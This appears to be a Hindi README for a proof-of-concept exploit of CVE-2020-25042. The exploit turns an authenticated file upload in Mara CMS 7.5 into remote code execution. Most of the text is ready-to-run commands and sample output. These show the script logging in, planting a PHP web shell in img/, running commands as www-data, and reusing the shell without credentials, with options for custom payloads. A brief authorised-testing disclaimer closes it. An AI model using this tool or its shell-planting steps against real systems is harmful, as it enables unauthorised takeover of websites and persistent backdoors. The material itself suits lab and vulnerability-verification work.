
PoC for CVE-2020-25042: स्वचालित Mara CMS 7.5 प्रमाणित PHP अपलोड से RCE तक, लॉगिन हैश हैंडलिंग, शेल पुन: उपयोग, कस्टम पेलोड समर्थन, और स्वच्छ CLI आउटपुट के साथ।
CVE-2020-25042 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो Mara CMS 7.5 में एक प्रमाणित (authenticated) मनमाना फ़ाइल अपलोड दोष है जो रिमोट कोड निष्पादन का कारण बन सकता है।
यह स्क्रिप्ट एक वैध Mara CMS एडमिन/मैनेजर खाते से लॉगिन करती है, codebase/handler.php के माध्यम से एक PHP पेलोड अपलोड करती है, और अपलोड की गई फ़ाइल के माध्यम से कमांड निष्पादित करती है।
यह संभव होने पर मौजूदा शेल का पुनः उपयोग भी करती है, ताकि आपको हर बार चलाने पर नई PHP फ़ाइल न बनानी पड़े।
shash निकालती है।setsalt एक्शन के साथ लॉगिन सॉल्ट का अनुरोध करती है।codebase/dir.php?type=filenew पर अपलोड फ़्लो खोलती है।codebase/handler.php के माध्यम से एक PHP कमांड पेलोड अपलोड करती है।--cmd निष्पादित करती है।Python 3.8+
pip install -r requirements.txt
आवश्यक Python पैकेज:
requests
urllib3
कोण कोष्ठकों (< >) में लिपटे मान प्लेसहोल्डर हैं। उन्हें अपने स्वयं के मानों से बदलें और < या > वर्ण शामिल न करें।
python3 cve_2020_25042.py \
--url <MARA_CMS_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--cmd whoami
<MARA_CMS_URL> # लक्षित Mara CMS आधार URL। उदाहरण: http://target/cms
<USERNAME> # वैध Mara CMS एडमिन/मैनेजर उपयोगकर्ता नाम।
<PASSWORD> # वैध Mara CMS एडमिन/मैनेजर पासवर्ड।
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--cmd whoami
उदाहरण आउटपुट:
[2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
[2026-05-17T23:32:31Z] [+] Found shash: 9552
[2026-05-17T23:32:31Z] [*] Requesting login salt
[2026-05-17T23:32:31Z] [+] Got salt: 4253
[2026-05-17T23:32:31Z] [*] Logging in as admin
[2026-05-17T23:32:31Z] [+] Login successful: OK:5
[2026-05-17T23:32:31Z] [*] Opening upload form
[2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
[2026-05-17T23:32:32Z] [+] Upload request completed
[2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:32Z] [*] Executing command: whoami
[+] Command output
MARA_CVE_2020_25042_OK
www-data
डिफ़ॉल्ट रूप से, स्क्रिप्ट एक स्थिर शेल नाम का उपयोग करती है:
mara-poc.php
अगली बार चलाने पर, यह जाँच करती है:
http://target/cms/img/mara-poc.php
यदि शेल अपेक्षित मार्कर के साथ प्रतिक्रिया देता है, तो स्क्रिप्ट लॉगिन और अपलोड छोड़ देती है:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--cmd "ls -la"
पिछले यादृच्छिक नाम से बनाए गए शेल को पुनः उपयोग करने के लिए:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-name mara-poc-jxfizldy.php \
--cmd whoami
आप खुला हुआ शेल पथ सीधे भी पास कर सकते हैं:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-url-path /cms/img/mara-poc-jxfizldy.php \
--cmd "ls -la"
कमांड निष्पादित किए बिना पेलोड अपलोड करें:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--upload-only
--page <PAGE>
लॉगिन बूटस्ट्रैप करने और shash निकालने के लिए उपयोग किया जाने वाला मौजूदा CMS पेज। डिफ़ॉल्ट: lorem.php
--shell-name <NAME>
अपलोड करने या पुनः उपयोग करने के लिए PHP फ़ाइल नाम। डिफ़ॉल्ट: mara-poc.php
--shell-url-path <PATH_OR_URL>
पुनः उपयोग के लिए स्पष्ट शेल पथ या URL।
उदाहरण: /cms/img/mara-poc.php
--payload-file <FILE>
डिफ़ॉल्ट ?cmd= शेल के बजाय एक कस्टम PHP पेलोड अपलोड करें।
--destdir <DIR>
अपलोड फ़ॉर्म में भेजा गया कच्चा destdir मान। डिफ़ॉल्ट Mara CMS को img/ उपयोग करने देता है।
--force-upload
हमेशा लॉगिन और अपलोड करें, भले ही पुनः उपयोग योग्य शेल पहले से मौजूद हो।
--upload-only
पेलोड अपलोड करें लेकिन --cmd निष्पादित न करें।
--only-final
प्रगति लॉग छिपाएँ और केवल कमांड आउटपुट प्रिंट करें।
--no-color
ANSI रंग अक्षम करें।
--debug
अनुरोध URL और हैंडलर प्रतिक्रिया के संक्षिप्त अंश प्रिंट करें।
admin:changeme हो सकते हैं।MARA_CVE_2020_25042_OK प्रिंट करता है।img/ है।--force-upload का उपयोग केवल तभी करें जब आपको पेलोड को अधिलेखित (overwrite) या पुनः बनाने की आवश्यकता हो।यह PoC अधिकृत सुरक्षा परीक्षण, प्रयोगशाला वातावरण और भेद्यता सत्यापन के लिए है। बिना स्पष्ट अनुमति के इसे सिस्टम के विरुद्ध उपयोग न करें।